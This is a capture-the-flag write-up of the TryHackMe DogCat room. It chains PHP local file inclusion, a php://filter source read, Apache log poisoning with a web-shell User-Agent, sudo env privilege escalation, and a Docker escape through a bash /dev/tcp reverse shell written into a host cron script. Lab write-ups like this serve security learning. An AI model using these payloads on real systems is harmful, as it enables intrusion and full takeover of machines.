TryHackMe | DogCat

TryHackMe | DogCat

DogCat is a medium-rated TryHackMe room built around a PHP web application that lets you browse pictures of dogs and cats.

The vulnerability chain covers local file inclusion, using PHP filter wrappers to read application source code, Apache log poisoning to turn the LFI into remote code execution, and finally escaping a Docker container via a writable cron script.

I needed walkthroughs at a couple of points on this one, particularly around the log poisoning step, but it was a great room for building a solid understanding of how LFI can be escalated beyond just reading files.

Reconnaissance

Port Scanning

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.38

A straightforward setup. The interesting work is all on port 80.

Directory Scanning

/cat.php      (Status: 200)
/cats         (Status: 301)
/flag.php     (Status: 200)
/index.php    (Status: 200)

flag.php is visible in the scan results but returns a blank page without the right context. index.php is where the action is.

Discovering the LFI

The site lets you switch between dogs and cats via a view parameter in the URL:

http://10.10.61.62/index.php?view=dog
http://10.10.61.62/index.php?view=cat

Testing path traversal produces a PHP error that confirms a file inclusion is happening:

http://10.10.61.62/index.php?view=dog/../../

Warning: include(dog/../../.php): failed to open stream: No such file or directory
in /var/www/html/index.php on line 24

Two things are visible in the error. First, the application is calling PHP include() on the view parameter value. Second, it is automatically appending .php to whatever is passed in, which limits what files can be read directly.

Reading Source Code via PHP Filter Wrapper

To understand exactly what the application is doing, we can use a PHP filter wrapper to base64-encode the source of index.php and retrieve it through the LFI, bypassing the .php extension check in the process:

/?view=php://filter/convert.base64-encode/resource=./dog/../index

Decoding the response reveals the full source:

<?php
    function containsStr($str, $substr) {
        return strpos($str, $substr) !== false;
    }

    $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
    if(isset($_GET['view'])) {
        if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
            echo 'Here you go!';
            include $_GET['view'] . $ext;
        } else {
            echo 'Sorry, only dogs or cats are allowed.';
        }
    }
?>

The source reveals two things. The view parameter must contain the string dog or cat to pass the check, but the ext parameter controls the file extension being appended. If ext is supplied in the URL, the .php default is skipped entirely. This means we can include arbitrary files as long as the path contains dog or cat somewhere.

Log Poisoning

With arbitrary file inclusion available, the next step is to read the Apache access log:

/?view=dog/../../../../../../../var/log/apache2/access.log&ext

The log is readable and shows our own requests reflected back, including the User-Agent string. Since the log contents are being passed to PHP include(), any PHP code written into the log will be executed when the log is next included.

Using Burp Suite, we modify the User-Agent header on a request to inject a simple PHP web shell:

User-Agent: <?php system($_GET['cmd']); ?>

After sending that request, the PHP code is written into the log. Any subsequent inclusion of the log file now executes whatever is passed in the cmd parameter:

/?view=dog/../../../../../../../var/log/apache2/access.log&ext&cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We have remote code execution. From here we use curl to download a reverse shell script onto the server and execute it via the cmd parameter to get a proper interactive shell.

Privilege Escalation to Root

Checking sudo permissions for the www-data user:

www-data@dogcat:/$ sudo -l

User www-data may run the following commands:
    (root) NOPASSWD: /usr/bin/env

/usr/bin/env can be run as root with no password. This is a well-known GTFOBins entry:

sudo /usr/bin/env /bin/sh
# whoami
root

Flags 1 through 3 are readable from here.

Docker Container Escape

Looking around the filesystem, a .dockerenv file in the root directory confirms we are inside a Docker container rather than on the host machine. The host itself is still out of reach.

Searching for writable scripts that might be executed by the host:

/opt/backups/backup.sh

This script is mounted in from the host machine and runs as a cron job with root privileges on the host. We can write to it from inside the container:

#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

After a short wait the cron job fires on the host, connecting back with a root shell outside the container. Flag 4 is waiting on the host filesystem.

Summary

DogCat is a good room for understanding how LFI vulnerabilities can be chained into full remote code execution. Reading the source code via PHP filter wrappers is a technique worth remembering as it works reliably wherever LFI exists and PHP is running. The log poisoning step in particular drives home why user-controlled input should never make it into a file that is later included or executed. The container escape via a host-mounted writable cron script is a neat finishing touch and a realistic misconfiguration to watch for in containerised environments.